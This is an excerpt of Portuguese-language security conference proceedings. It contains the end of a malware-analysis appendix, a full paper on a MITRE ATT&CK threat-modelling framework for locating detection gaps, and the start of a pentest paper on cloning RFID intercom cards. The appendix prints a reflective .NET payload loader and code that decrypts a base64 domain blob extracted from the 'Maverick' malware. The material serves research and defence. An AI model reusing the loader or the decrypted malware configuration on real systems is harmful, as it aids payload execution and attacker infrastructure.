49 MethodInfo method = t y p e . GetMethod ( " Main " , B i n d i n g F l a g s . S t a t i c | B i n d i n g F l a g s . P u b l i c |

B i n d i n g F l a g s . NonPubl ic ) ;
50 i f ( method != n u l l )
51 {
52 en t ryMethod = method ;
53 b r e a k ;
54 }
55 }
56 }
57
58 i f ( en t ryMethod != n u l l )
59 {
60 v a r p a r a m e t e r s = en t ryMethod . G e t P a r a m e t e r s ( ) ;
61 i f ( p a r a m e t e r s . Length == 0)
62 {
63 en t ryMethod . Invoke ( n u l l , n u l l ) ;
64 }
65 e l s e i f ( p a r a m e t e r s . Length == 1 && p a r a m e t e r s [ 0 ] . Pa rame te rType == t y p e o f ( s t r i n g [ ] ) )
66 {
67 en t ryMethod . Invoke ( n u l l , new o b j e c t [ ] { new s t r i n g [ 0 ] } ) ;
68 }
69 e l s e
70 {
71 en t ryMethod . Invoke ( n u l l , n u l l ) ;
72 }
73 }
74 }
75 c a t c h ( E x c e p t i o n )
76 {
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77 }
78 r e t u r n 0 ;
79 }
80 }

Listing 4. Loader .NET customizado para carregar o payload.

D. Script .NET para descriptografar os domínios analisados pelo Maverick
Este anexo apresenta um trecho de código em C#/.NET utilizado para a descriptografia
dos domínios analisados no contexto do Malware Maverick. O código foi extraído a
partir de engenharia reversa do Malware analisado e adaptado para fins de estudo e
reprodução dos resultados.

1 u s i n g System . IO . Compress ion ;
2 u s i n g System . S e c u r i t y . C r y p t o g r a p h y ;
3 u s i n g System . Text ;
4 u s i n g System . Text . J son ;
5
6 s t a t i c b y t e [ ] Decompress ( b y t e [ ] d a t a )
7 {
8 b y t e [ ] a r r a y ;
9 u s i n g ( MemoryStream memoryStream = new MemoryStream ( d a t a ) )

10 {
11 u s i n g ( GZipStream g z i p S t r e a m = new GZipStream ( memoryStream , CompressionMode . Decompress ) )
12 {
13 u s i n g ( MemoryStream memoryStream2 = new MemoryStream ( ) )
14 {
15 g z i p S t r e a m . CopyTo ( memoryStream2 ) ;
16 a r r a y = memoryStream2 . ToArray ( ) ;
17 }
18 }
19 }
20 r e t u r n a r r a y ;
21 }
22 s t a t i c D i c t i o n a r y < s t r i n g , i n t > DecryptDomains ( s t r i n g base64 )
23 {
24 b y t e [ ] a r r a y = Conve r t . F romBase64S t r ing ( base64 ) ;
25 b y t e [ ] a r r a y 2 = new b y t e [ 1 6 ] ;
26 b y t e [ ] a r r a y 3 = new b y t e [ 3 2 ] ;
27 b y t e [ ] a r r a y 4 = new b y t e [ a r r a y . Length − 4 8 ] ;
28 B u f f e r . BlockCopy ( a r r a y , 0 , a r r a y 2 , 0 , 16) ;
29 B u f f e r . BlockCopy ( a r r a y , 16 , a r r a y 3 , 0 , 32) ;
30 B u f f e r . BlockCopy ( a r r a y , 48 , a r r a y 4 , 0 , a r r a y 4 . Length ) ;
31 D i c t i o n a r y < s t r i n g , i n t > d i c t i o n a r y ;
32 u s i n g ( Aes a e s = Aes . C r e a t e ( ) )
33 {
34 a e s . Key = a r r a y 3 ;
35 a e s . IV = a r r a y 2 ;
36 a e s . Mode = CipherMode .CBC;
37 a e s . Padd ing = PaddingMode . PKCS7 ;
38 u s i n g ( I C r y p t o T r a n s f o r m c r y p t o T r a n s f o r m = a e s . C r e a t e D e c r y p t o r ( ) )
39 {
40 b y t e [ ] a r r a y 5 = c r y p t o T r a n s f o r m . T r a n s f o r m F i n a l B l o c k ( a r r a y 4 , 0 , a r r a y 4 . Length ) ;
41 d i c t i o n a r y = J s o n S e r i a l i z e r . D e s e r i a l i z e < D i c t i o n a r y < s t r i n g , i n t > >( Encoding . UTF8 . G e t S t r i n g ( Decompress ( a r r a y 5

) ) ) ;
42 }
43 }
44 r e t u r n d i c t i o n a r y ;
45 }
46 s t r i n g t e x t = " EvgFdFieXohjzdS4quAc6zjOBaM0qe+IgrU6QFGZqNMFMFQabjq6lR8A0WBnm4z5Eh / v0dG8glnPS /

wDZq3InDjmS801CjJ6BAzMlW9BATPmJm6+nQ5BSGYqnVvjduCUFSTddybqK7zfV6In08sr4lo0Q3RcJ4kR+
e3dX7e20P4QbNrK8owQKtq1ALOeFsW2aB3+VXgx74abZAFEbq5fJdbft05+w2s6vw2ppgEkwCArRO+u3YP+94g0qgATz6IHRzCSFwFvKz+
DQdEoGeizOdnE5z5WVPfHYuRExdaxhJKnLajTd2YjEPwq+GXZD/ 2 UicooRNbh5+59
GT5FR9YgWrQvb8BzFQDtCPLGuc6owzPHinq4fI8dCazZnyCmMT68+Md/ 2
n70v9gMtA8dyjeXjcDyroZ9sEFekcAAS3cz3k0QyneV7tYqeOLUBDpLXyRidcuaBaLVKLem6oSR / S9vSMoYEwr+
L8Vg8UDalR02SPnkpdQjOD3a8BpLwFEJ75 / 8 hP7kWPpl1cVbkQfrltr2HreSBCeoAMAy7D4CPXMwrdC48HwuUErHDbAOfTkMu / 0
o7FKWu9lgHvxRuH3mbYCydCWYSTqjQVqGnj3znQOz29gnnck / 2 pNVoJ6KKdGnOeMaltZl58DE+V72+aww88wojqMQ9cfwDr9lsUWdK /
sGkzrZj2c5g8mU3Mg / HwuHUwz3eLsQuKMuHMmkjD8dd7x / CyI+bPsXyD3QZ8G+5jsGXW0=" ;

47 Conso le . W r i t e L i n e ( " Dec ryp t ed c o n t e n t : " ) ;
48 v a r d e c r i p t e d = DecryptDomains ( t e x t ) ;
49
50 f o r e a c h ( v a r kv i n d e c r i p t e d )
51 {
52 Conso le . W r i t e L i n e ( $ " { kv . Key} −> { kv . Value } " ) ;
53 }

Listing 5. Trecho de código em .NET extraído e adaptado do Malware Maverick
para descriptografia dos domínios analisados.
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Abstract. This work proposes a framework to optimize the positioning of de-
fense technologies and the construction of use cases. Through cyber threat mo-
deling, via the creation and cross-referencing of the Historical Exploitation Ma-
trix with the Defense Capability Matrix, both based on the knowledge base and
modeling of MITRE ATT&CK, the framework allows for the proper assessment
of cyber threat risks by identifying weaknesses in defense capabilities. The pre-
sented framework can contribute to decision-making regarding the positioning
of detection mechanisms, strengthening cybersecurity from the perspective of
scope and resilience that extends from the tactical to the strategic level.

Resumo. Este trabalho propõe um método (framework) para otimizar o posi-
cionamento das tecnologias de defesa e construção de casos de uso. Através
da modelagem de ameaças cibernéticas, via criação e cruzamento da Matriz
Histórica de Exploração com a Matriz de Capacidade de Defesa, ambas funda-
mentadas na base de conhecimento e modelagem do MITRE ATT&CK, para a
devida avaliação dos riscos das ameaças cibernéticas, mediante a identificação
das fraquezas da capacidade de defesa. O framework apresentado pode con-
tribuir para a tomada de decisão, quanto ao posicionamento dos mecanismos
de detecção, para fortalecer a cibersegurança sob o viés da abrangência e re-
siliência que perpassa do nı́vel tático ao estratégico.

1. Introdução
Na medida em que a participação mundial na utilização das tecnologias computacionais
continua em ascendência, seja através do aumento da infraestrutura de telecomunicações
ou do acesso à internet [ITU 2024], cresce em proporção à necessidade de proteção dos
sistemas ciber-fı́sicos e digitais [WEF 2025], assim como também o volume das ameaças
emergentes, avançadas e complexas [ENISA 2025].

Deste modo, um processo para avaliação e gestão dos riscos cibernéticos, através
de métodos para modelagem das ciberameaças, é um recurso valioso e estratégico, no
sentido de identificar prioridades para o melhor posicionamento dos mecanismos de de-
fesa e, assim, monitorar, detectar e responder com agilidade os incidentes cibernéticos
[Shaun Donovan 2015].

Este trabalho propõe um método (framework) para otimizar a disposição dos
mecanismos de defesa por meio da identificação dos cenários de ameaça, através
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da disciplina de modelagem de ameaças cibernéticas (Cyber Threat Modelling)
[Cho and Kim 2025], pelo uso da criação e cruzamento de matrizes que correspondem
aos riscos de exploração destas ameaças, com a capacidade de defesa do sistema ou am-
biente analisado.

A Matriz Histórica de Exploração (MHE) é construı́da através do mapeamento de
grupos de ameaça avançados e persistentes (Advanced Persistent Threats, ou APTs), iden-
tificados em relatórios técnicos e registros históricos de inteligência, através da análise da
frequência do uso de técnicas, táticas e procedimentos (TTPs) utilizados pelos atores de
ameaça selecionados. Já a Matriz de Capacidade de Defesa oferece uma maior versati-
lidade e, portanto, pode ser construı́da sob os pilares de monitoramento, detecção, res-
posta, bloqueio, mitigação, controle, hardening (endurecimento, em livre tradução), ou
congêneres.

Este trabalho apresenta um método genérico sob o viés de Detecção, com a
construção da Matriz de Capacidade de Detecção (MCD), através da classificação e
extração das TTPs relacionadas à capacidade de detecção via telemetria entregue por
mecanismos de defesa, ex: Firewall, End-point Response (EDR), Web Application Fi-
rewall (WAF), etc. posicionados no ambiente, assim como as regras, alertas e casos de
uso vigentes, com suas respectivas categorizações frente aos cenários de ameaça e TTPs,
em um cenário hipotético e genérico.

Ambas as matrizes estarão consolidadas na base de conhecimento e modelagem
do MITRE ATT&CK, ou somente base do MITRE, para fundamentar o framework na
visualização e análise da avaliação de risco, por intermédio da identificação de lacunas na
capacidade de detecção frente às possibilidades de exploração, através da interseção des-
tas; com intuito de favorecer a tomada de decisão das camadas organizacionais superiores
e, desta forma, contribuir para o aumento da maturidade da cibersegurança que perpassa
do nı́vel tático ao estratégico.

Este trabalho está separado em seis sessões. Sendo a primeira esta introdução, a
seção dois corresponde fundamentação teórica dos conceitos de avaliação de risco, mo-
delagem de ciber ameaças, apresentação das plataformas do MITRE ATT&CK. A seção
três apresenta os trabalhos relacionados, suas contribuições, objetivos, limitações e opor-
tunidades de complementação a partir deste. A seção quatro apresenta a metodologia, a
seção cinco apresenta a avaliação e análise dos resultados, finalizando a seção seis com a
conclusão e trabalhos futuros.

2. Fundamentação Teórica

Nesta seção serão descritas as relações entre as camadas estratégica e tática com: gestão
de risco e cyber threat modelling, respectivamente. Assim como as vantagens da
utilização do MITRE ATT&CK como framework para fundamentar a modelagem de
ameaças [Rani et al. 2024], sua abrangência tática e possibilidades de mapeamento dos
grupos avançados e persistentes (APTs) [Hejase et al. 2020].

2.1. Camada Estratégica: Avaliação de Risco

Existe uma relação direta entre a gestão estratégica, a nı́vel organizacional, e a gestão
de riscos na cibersegurança [Mızrak 2023]. A atuação da camada estratégica tem como
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uma das suas referências o memorando publicado em 2015 pela Equipe de Segurança Ci-
bernética dos E.U.A., destinado aos gerentes e executivos dos departamentos e agências
federais, no qual consolidou a entidade do CSIP (Cybersecurity Strategy and Implementa-
tion Plan for the Federal Civilian Government), em livre tradução: estratégia de segurança
cibernética e plano de implementação para o governo civil federal, com os seguintes ob-
jetivos [NIST 2015]:

1. Identificação e proteção priorizadas de informações e ativos de alto valor;
2. Detecção oportuna e resposta rápida a incidentes cibernéticos;
3. Recuperação rápida de incidentes e adoção acelerada das lições aprendidas;
4. Recrutamento e retenção dos talentos mais qualificados em segurança cibernética

que o Governo Federal pode oferecer; e
5. Aquisição e implantação eficientes e eficazes de tecnologias existentes e emergen-

tes.

O framework apresentado neste trabalho se propõe a auxiliar: na priorização para
identificar e proteger os ativos de alto valor; agilidade na detecção e resposta dos inciden-
tes; assim como a utilização eficiente e efetiva das tecnologias existentes e emergentes,
podendo contribuir na tomada de decisão no que tange à aquisição e implantação de novas
tecnologias e o posicionamento tático destas.

2.2. Camada Tática: Cyber Threat Modelling

Ferramenta de apoio para as etapas da Análise de Risco que, entre diversas possibilida-
des, extrai aspectos de ataque e defesa de um sistema [NIST 2025b] por meio da mode-
lagem de ameaça(s) cibernética(s) que, de forma simplificada, pode ser definida como
qualquer evento com potencial impacto negativo na integridade, confidencialidade ou
disponibilidade dos ativos cibernéticos [NIST 2024]. A utilização da base de conheci-
mentos do MITRE ATT&CK para a modelagem de ameaças tem sido amplamente per-
cebida na Literatura [Al-Sada et al. 2023, Tran 2023, Xiong et al. 2022, Pell et al. 2021,
Georgiadou et al. 2021].

2.3. Matriz do MITRE ATT&CK

A Matriz do MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Kno-
wledge) é uma base de conhecimento globalmente reconhecida, desenvolvida pela MI-
TRE Corporation, que cataloga e organiza TTPs utilizadas por atores de ameaça, através
de relatórios de Inteligência de Ameaças Cibernéticas (Cyber Threat Intelligence, ou CTI)
[Al-Sada et al. 2024]. É amplamente utilizada em etapas da análise de risco ao oferecer
uma extensa cobertura tática dos ataques históricos catalogados [Xiong et al. 2022].

2.3.1. MITRE ATT&CK Navigator (MAN)

Dentre as ferramentas utilizadas para uso da Matriz do MITRE ATT&CK, destaca-se o
ATT&CK Navigator: aplicação Web que permite atribuir pesos, cores, anotações, legen-
das, etc. às técnicas e sub-técnicas e oferece exportação dos dados via estrutura JSON
(JavaScript Object Notation) ou SVG (Scalable Vector Graphics). As colunas da matriz
representam as táticas e seus elementos as técnicas, conforme visto na Figura 1.
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Figura 1. MITRE ATT&CK Navigator [MITRE Corporation 2025].

2.3.2. MITRE ATT&CK Workbench (MAW)

Plataforma em código aberto que permite à comunidade explorar, compartilhar e atualizar
a base de conhecimento MITRE ATT&CK [MITRE 2025a], que engloba a catalogação,
análise e descrição dos atores de ameaça, inclusive os avançados e persistentes (APTs),
com disponibilização da matriz para cada grupo em formato aberto (JSON) com as
técnicas, destacadas com cor, extraı́das dos relatórios de inteligência, assim como a devida
referenciação destes.

Vale salientar que as bases de conhecimento não representam todo o universo
possı́vel de técnicas em uso pelos atores de ameaça. Sempre existe a possibilidade do
surgimento de técnicas inovadoras ou furtivas, que ainda não foram catalogadas, mas sim
uma visão de capacidade de exploração histórica.

Para além das TTPs, atores de ameaça e campanhas, também são mapeados os
softwares relatados e utilizados nas campanhas maliciosas atribuı́das. Atualmente a base
da versão 16 contém a catalogação de 163 atores de ameaça, 36 campanhas maliciosas e
826 malwares [MITRE 2025b] e, com atualizações bi-anuais, o que a consolida como
uma base confiável e de ampla utilização [Georgiadou et al. 2021, Xiong et al. 2022,
Tran 2023, Al-Sada et al. 2023].

3. Trabalhos Relacionados

O modelo do MITRE ATT&CK foi estruturado e criado em 2013 [MITRE 2020], com o
primeiro trabalho a relacioná-lo com a modelagem de ameaças apresentado no livro ”Cy-
ber Deception”, capı́tulo ”Integrating Cyber-D&D into Adversary Modeling for Active
Cyber Defense”[Stech et al. 2016], no qual os autores descrevem como integrar ferra-
mentas e TTPs para mitigar a exploração por atores diversos.

Em 2021, [Pell et al. 2021] identifica técnicas adversariais que atores de ameaça
podem empregar em cenários de ataque, com base em ataques históricos, às redes de
telecomunicações 5G, com propósito de utilizar e apresentar o MITRE como uma estru-
tura adequada para avaliação dos riscos cibernéticos, todavia, sem sugerir ou criar qual-
quer matriz de capacidade de risco ou de defesa, ou realizar análise da frequência do uso
de técnicas e táticas pelos atores de ameaça e, tampouco, recorte por APTs.
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Já o ”Assessing MITRE ATT&CK Risk Using a Cyber-Security Culture
Framework”[Georgiadou et al. 2021] consolida a base do MITRE como um método para
instaurar uma cultura de cibersegurança para organizações de qualquer tamanho, seg-
mento ou tipo de indústria, apresentando a construção de uma espécie de matriz de capa-
cidade de defesa com foco em mitigação, através de TTPs especializados contra os quais
uma organização não possui defesa; todavia, sem abordar a catalogação dos atores de
ameaça e, por consequência, sem identificar as técnicas mais utilizadas por estes.

O [Tran 2023] apresenta uma revisão sistemática da literatura de como o MITRE
ATT&CK pode ser usado para modelagem de ameaças na nuvem, com uma ampla re-
visão da literatura, mais proposições de modelos de desenvolvimento de software seguro
e automação em nuvem, sem aprofundar na atuação dos atores de ameaça ou APTs, tam-
pouco as técnicas mais exploradas por estes. Ainda assim, recomendou a criação de uma
matriz MITRE ATT&CK Cloud em seus trabalhos futuros, sem indicar qualquer método
para a composição desta.

O trabalho [Xiong et al. 2022] faz uma análise profunda da base do MITRE e
propõe o desenvolvimento de uma linguagem de modelagem de ameaças especı́fica, fun-
damentada na matriz do MITRE ATT&CK e na estrutura do Meta Attack Language.
Também propõe matrizes de capacidade de defesa, com relações probabilı́sticas, que serve
para descrever cadeias de ataque e suas complexidades; todavia, não aborda a modela-
gem a partir de exemplos por atores de ameaça ou APTs, tampouco faz uma análise de
frequência das técnicas mais exploradas ou cria qualquer matriz de capacidade de defesa.

O artigo [Al-Sada et al. 2023] faz uma análise estatı́stica aprofundada de toda a
matriz do MITRE ATT&CK com diversos recortes: perfis de ameaça, grupos, softwares,
ambientes e, em especial, frequência das técnicas e táticas mais exploradas pelos atores
de ameaça; também, sugere a construção de uma matriz de capacidade de defesa, todavia
sem apresentar algum método para construção desta; com mapeamento das atividades
dos atores de ameaça sem qualquer cruzamento destas com os mecanismos de defesa do
escopo do artigo.

As referências supracitadas foram segmentadas e apresentadas na Tabela 1 com as
questões se o trabalho:

1. Sugeriu a construção de alguma matriz de capacidade de defesa?
2. Apresentou algum método para a construção da matriz de capacidade de defesa?
3. Mapeou as atividades dos atores de ameaça por segmento ou ambiente?
4. Realizou alguma análise de frequência de uso das TTPs por adversários?
5. Cruzou a capacidade histórica de exploração com alguma matriz de defesa?

Os artigos relacionados, com suas contribuições e recomendações de trabalhos
futuros, oferecem embasamento para a consolidação deste trabalho, ao apresentar um
framework de análise de risco, através do Cyber Threat Modelling com uso da base do
MITRE, com métodos para construção das matrizes de capacidade de defesa e histórica
de exploração, via mapeamento dos atores de ameaça, cruzamento da exploração histórica
das TTPs versus capacidade de detecção dos mecanismos de defesa, em um cenário hi-
potético.
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Referência Questão 1 Questão 2 Questão 3 Questão 4 Questão 5

[Stech et al. 2016] Sim Não Não Não Não
[Pell et al. 2021] Não Não Sim Não Não
[Georgiadou et al. 2021] Sim Não Não Sim Não
[Tran 2023] Sim Não Sim Não Não
[Xiong et al. 2022] Sim Sim Não Não Não
[Al-Sada et al. 2023] Sim Não Sim Sim Não
Este Trabalho Sim Sim Sim Sim Sim

Tabela 1. Contribuição dos trabalhos relacionados com o propósito deste.

4. Metodologia
Serão apresentados métodos para a construção da Matriz Histórica de Exploração (MHE),
a Matriz de Capacidade de Defesa com foco no pilar de Detecção (MCD), métodos para
cruzar as informações obtidas, critérios para catalogação e classificação dos cenários de
ameaça e, como resultados: identificação de lacunas na capacidade de detecção dos me-
canismos de defesa e sugestões de mitigação, assim, tem-se o passo a passo:

1. Mapeamento dos atores de ameaça (neste caso, os Advanced Persistent Threats -
APTs);

2. Construção da Matriz Histórica de Exploração (MHE);
3. Construção da Matriz de Capacidade de Defesa sob o pilar Detecção (MCD);
4. Cruzamento das matrizes MHE e MCD;
5. Analisar por Resiliência: análise da frequência de explorações da MHE vs MCD;
6. Analisar por Abrangência: análise do cruzamento das matrizes não ponderadas;
7. Identificar as fraquezas dos mecanismos de defesa e propor soluções.

4.1. Construção da Matriz Histórica de Exploração (MHE)

Conforme descrito na seção 2.3.2, base de conhecimento e modelagem do MITRE
ATT&CK disponibiliza a MHE respectiva para diversos atores de ameaça, em JSON, com
as técnicas e táticas ponderadas por pesos e cores, a partir da extração dos relatórios de
inteligência. Para este framework, o foco se concentrará nos atores de ameaça, avançados
e persistentes (APTs).

4.1.1. Advanced Persistent Threats (APTs)

Grupos sofisticados, geralmente financiados por organizações criminosas e/ou Estados-
nação [Sharma et al. 2023]. Combinam técnicas avançadas, como exploração de vulnera-
bilidades não públicas (zero-day), engenharia social personalizada e o abuso de ferramen-
tas legı́timas dos sistemas, sendo um dos maiores desafios atuais para as organizações de
cibersegurança [Steffens 2020].

Historicamente possuem alta capacidade técnica para contornar os mecanismos de
defesa do alvo, gerando pouco ruı́do, rastro ou alertas possı́veis. Perseguem seus objetivos
maliciosos com determinação, sigilo, persistência, parcimônia, inteligência, estratégia e
por um longo perı́odo de tempo [NIST 2025a]. Em 2024, os incidentes relacionados às
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indústrias Financeira, Serviços, Alta Tecnologia, Governamental e Saúde foram os seus
maiores alvos [Mandiant 2025].

4.1.2. MHE por segmento: setor ou indústria.

Por cada indústria apresentar particularidades intrı́nsecas do seu próprio setor, as carac-
terı́sticas de arquitetura, plataformas, sistemas operacionais, tecnologias e seus ambientes
tendem a ser próprias e similares por segmento. Desta forma, este trabalho propõe que a
MHE seja construı́da a partir da seleção de grupos APTs com histórico de ataque a alvos
do setor da organização a ser protegida.

A identificação dos segmentos alvos dos APTs, para além da base de conheci-
mento do MITRE ATT&CK, pode acontecer a partir de outras fontes e relatórios técnicos
dos cenários investigados por agências governamentais e de grandes fabricantes de tecno-
logia, tais como:

• Enciclopédia dos Threat Actors - ETDA [ETDA 2025];
• ENISA Threat Landscape [ENISA 2024];
• CrowdStrike Global Threat Landscape [CrowdStrike 2025];
• Cybercrime Global Strategy 2022–2025 [INTERPOL 2022];
• Healthcare Cyber Threat Landscape [Health-ISAC and AHA 2024].
• Entre outros.

Uma vez definido o setor de interesse da modelagem de ameaça, com a devida
catalogação dos APTs relacionados, foi realizada a extração e junção das matrizes do MI-
TRE ATT&CK através uso do MITRE ATT&CK Navigator (MAN). Foram selecionados
dez grupos APTs associados a um setor fictı́cio para a composição e criação da MHE,
ilustrada a partir das quatro primeiras táticas (colunas), para manter a legibilidade das
informações neste trabalho, conforme Figura 2.

Quanto mais densa ou intensa a cor de cada técnica, maior a quantidade de grupos
APTs que possuem histórico de exploração, esta segmentação é construı́da através de
pesos, definidos como scores, no MAN, com a cor branca representando nenhum histórico
de exploração.

4.2. Construção da Matriz de Capacidade de Defesa sob o pilar Detecção

Com as ameaças modeladas, se faz necessário associar cada alerta gerado pelos meca-
nismo de defesa com, no mı́nimo, uma técnica da base do MITRE. Esta tarefa exige um
esforço considerável de recursos da equipe de segurança defensiva. Todavia, tem sido
percebido que grandes fornecedores de ferramentas de segurança estão disponibilizando
classificações das TTPs nos alertas ou eventos de segurança, conforme evidenciado na
Figura 3.

Se estes logs categorizados estiverem concentrados em um SIEM (Security Infor-
mation and Event Management), plataforma para gestão e concentração dos eventos de
segurança da informação dos ativos monitorados, o trabalho se torna bastante facilitado,
ficando a cargo da classificação manual somente regras, alertas, lógicas de detecção ou
casos de uso customizados, criado pelas próprias equipes de segurança.
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Figura 2. MHE com cores em gradiente (pesos ponderados) para as quatro pri-
meiras táticas da matriz. (Fonte Autoral)

Figura 3. Grandes fornecedores de ferramentas de segurança oferecendo cober-
tura e classificação a partir da base do MITRE.

Segurança Cibernética na Prática

121



Para a construção deste framework foram consideradas três camadas de defesa.
Cada camada é composta por ferramentas fictı́cias de End Point Security (EDR), de Intru-
sion Detection System (IDS) e casos de uso construı́dos pelo time tático da segurança da
informação. As TTPs, para compor cada uma das capacidades de detecção, foram inspi-
radas em dados públicos de fabricantes que disponibilizam estas informações na internet
[Check Point , Palo Alto Networks , McPhee 2020] e a composição final está represen-
tada na Figura 4.

Figura 4. MCD com cores em gradiente (pesos ponderados) para as quatro pri-
meiras táticas.

5. Avaliação

Com base na metodologia proposta, fundamentada na modelagem das ameaças em nı́vel
tático, tem-se como resultados a possibilidade de identificação de fraquezas nos meca-
nismos de detecção a partir de dois métodos. Resiliência: análise da frequência da
exploração das TTPs. Abrangência: TTPs com histórico de exploração e que não pos-
sui qualquer capacidade de detecção por nenhum mecanismo de defesa. Assim, deve-se
considerar ações para otimizar o posicionamento dos mecanismos de defesa a nı́vel es-
tratégico.

5.1. Análise dos Resultados

Serão apresentados os resultados do Cyber Threat Modelling para análise da gestão dos
riscos identificados pelos métodos de Resiliência e/ou Abrangência.
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5.1.1. Resiliência: análise da frequência de explorações da MHE

Através da MHE, é possı́vel identificar a frequência de exploração das técnicas ou táticas
pelos grupos APTs selecionados para, então, elencar as que possuem mais explorações
históricas, conforme visto na Tabela 2.

Técnica Descrição Tática

T1059 Command and Scripting Interpreter Execution
T1027 Obfuscated Files or Information Defense Evasion
T1105 Ingress Tool Transfer Command and Control
T1071 Application Layer Protocol Command and Control
T1083 File and Directory Discovery Discovery
T1566 Phishing Initial Access

Tabela 2. Técnicas mais exploradas pelos APTs selecionados por segmento.

Uma vez identificada as ameaças, deve-se mensurar qual a capacidade de detecção
das técnicas relacionadas, através da MCD, e avaliar seus riscos um a um. No caso em
questão, tem-se a técnica T1059, que explora a execução através de interpretadores de
comando ou script, como a mais explorada.

Ao mesmo tempo, é possı́vel perceber que existe a capacidade de detecção para
esta tática é provida por dois dos mecanismos de dedetecção: o EDR e os logs de auditoria
ou de segurança dos ativos. Assim, como forma de proteção dos ativos de alto valor, cabe
revisar se todos estão enviando eventos, se existe hardening ou bloqueio das polı́ticas de
segurança do sistema operacional cabı́veis de serem aplicados, quais lógicas de detecção
podem ser criada para pegar os procedimentos maliciosos históricos mapeados, entre ou-
tras medidas.

Dado o nı́vel de risco da técnica mais explorada, cabe avaliar a construção de
casos de usos customizados de uso especı́fico: com objetivo de detectar o máximo de
procedimentos maliciosos que podem ser executados nesta única técnica, quanto para uso
mais amplo: detectando cenários de ameaça que possam abranger várias técnicas e táticas
em suas lógicas de detecção. As mesmas ponderações ou análises devem ser feitas para
as demais técnicas.

5.1.2. Abrangência: análise do Cruzamento das Matrizes não ponderadas

Outra forma de otimizar o posicionamento dos mecanismos de defesa é através do cru-
zamento das MHE e MCD sem ponderação, sem cor em gradiente. Desponderar a MHE
significa atribuir o mesmo peso a qualquer técnica que teve, pelo menos, uma exploração
histórica por um APT. Atribuindo a mesma lógica para a MCD: qualquer técnica que tem
pelo menos uma capacidade de detecção por algum mecanismo de defesa.

Assim, o cruzamento destas matrizes possibilita a identificação de lacunas:
técnicas que não possuem nenhuma capacidade de detecção, representadas em verme-
lho na Figura 5, com exploração histórica destas, assim, se faz necessário priorizar o
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estudo e análise para promover a defesa destes potenciais vetores de ataque, seja via
implementação de controles, bloqueios, detecção ou formas de mitigação em geral.

Figura 5. MCD vs MHE não ponderadas para identificação de lacunas.

Como exemplo concreto, é possı́vel perceber que a técnica T1083, que corres-
ponde a descobrir arquivos e diretórios do alvo, associada a tática de Discovery (Desco-
berta), não possui nenhuma capacidade de cobertura por nenhum mecanismo de defesa.
Ao analisar a Tabela 2, percebe-se que esta encontra-se como um das técnicas mais ex-
ploradas pelos APTs; o que aumenta a necessidade de protegê-la através da criação de,
por exemplo: casos de uso com eventos de auditoria, regras customizadas no EDR e
por outros mecanismos de bloqueio ou controle da exploração maliciosa, aumentando a
abrangência e diminuindo a quantidade de técnicas vermelhas totais.

Outra possibilidade para contribuir no aumento da abrangência dos mecanismos
de defesa - a nı́vel de negócio, estratégia e orçamento finito - é considerar o investimento
em novas tecnologias de segurança. Uma análise apropriada do ganho, em cobertura dos
TTPs, que uma nova tecnologia oferece, quando avaliado para as técnicas nas quais não
há nenhuma defesa vigente, é de grande valor para qualquer organização. Além de ser
mais eficaz em aumentar a cobertura do ambiente, contribui para a ampliação do conceito
de Segurança em Camadas.

6. Conclusão e Trabalhos Futuros
A complexificação das ameaças cibernéticas, seja através do aprimoramento das técnicas
executadas por atores de ameaça avançados, seja por utilização de zero-days ou inte-
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ligências artificiais maliciosas [Ahmad et al. 2023], exige uma visibilidade apurada das
fraquezas dos mecanismos de defesa [Yu 2023].

Com objetivo de complementar as lacunas dos trabalhos revisados na Literatura,
este artigo apresentou um framework de Cyber Threat Modeling, de abrangência geral,
via base do MITRE ATT&CK, para auxiliar no aprimoramento de aspectos da camada
tática à estratégica da segurança cibernética de uma organização.

O método consistiu na construção das Matrizes Histórica de Exploração (MHE) e
de Capacidade de Defesa via pilar de Detecção (MCD) e, desta forma, através de cruza-
mento destas, foram apresentados métodos para priorizar, identificar e proteger os ativos
através da modelagem de ameaças cibernéticas.

A otimização dos aspectos de resiliência e abrangência, no fortalecimento da
cibersegurança através deste método, pode auxiliar na tomada de decisão das camadas
superiores, no que tange à aquisição e implantação de novas tecnologias e o posiciona-
mento tático destas.

Conforme mencionado, a Matriz de Capacidade de Defesa pode ser aplicada em
outros pilares e, desta forma, segue um possı́vel benefı́cio deste framework para o pilar
de Resposta: a partir da devida classificação dos alertas via TTPs do MITRE ATT&CK, o
enriquecimento das informações sobre o incidente é melhorado com aumento do contexto
ameaça classificada e, além do mais, a categorização da tática ajuda na identificação da
posição do incidente na cadeia de ataque, contribuindo para uma resposta mais eficaz.

Foram apresentados os métodos para a construção das matrizes MHE e MCD,
fundamentados pelos princı́pios do Cyber Threat Modeling, com possibilidades de ação
para a construção de casos de uso, regras customizadas, bloqueio de polı́tica no sistema
operacional ou, até mesmo, avaliar a implantação de novas ferramentas ou tecnologias de
segurança no ambiente fictı́cio estudado, entre outras possı́veis ações.

Como trabalho futuro cabe desenvolver alguma plataforma ou software para ex-
trair informações valiosas das Matrizes de Capacidade de Exploração ou de Defesa,
através da leitura e escrita dos arquivos JSON, assim como configurar e criar indicadores
considerando o cruzamento destas e, por praticidade e automação, alterar a propriedade
dos elementos das matrizes a fim de mantê-las sempre atualizadas via código.
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Abstract. This work presents a penetration test (pentest) focused on the Intel-
bras Allo wT7 intercom, a device widely used in residential environments for
access control. We analyse vulnerabilities in the RFID authentication mecha-
nism used by the intercom, demonstrating how the lack of strong cryptographic
protections allows cloning and manipulation of access cards. Experiments with
the Proxmark3 tool revealed the risks posed to residents’ security. Our main
contribution is to present a practical case of IoT device security assessment and
provide recommendations to mitigate such vulnerabilities.

Resumo. Este trabalho apresenta um teste de penetração (pentest) voltado ao
interfone Intelbras Allo wT7, dispositivo amplamente utilizado em ambientes
residenciais para controle de acesso (da Cruz Júnior 2024). Análises de vul-
nerabilidades no mecanismo de autenticação RFID empregado pelo interfone
demonstraram como a ausência de proteções criptográficas robustas permite a
clonagem e emulação de cartões de acesso. Os experimentos foram realizados
com a ferramenta Proxmark3, evidenciando os riscos para a segurança dos mo-
radores. A principal contribuição deste estudo consiste em apresentar um caso
prático de violação de dispositivos IoT e propor estratégias de mitigação.

1. Introdução
Nos últimos anos, tecnologias de identificação automática tornaram-se amplamente utili-
zadas em diversos setores, como logı́stica, transporte e manufatura. Entre essas tecnolo-
gias, destaca-se o RFID (Identificação por Radiofrequência), cujo uso teve origem militar
na Segunda Guerra Mundial e posteriormente se expandiu para aplicações civis. Com a
evolução da eletrônica nos anos 1990 (Araújo 2024), o RFID passou a ser empregado em
cartões inteligentes, sistemas de pagamento, rastreamento e monitoramento de condições
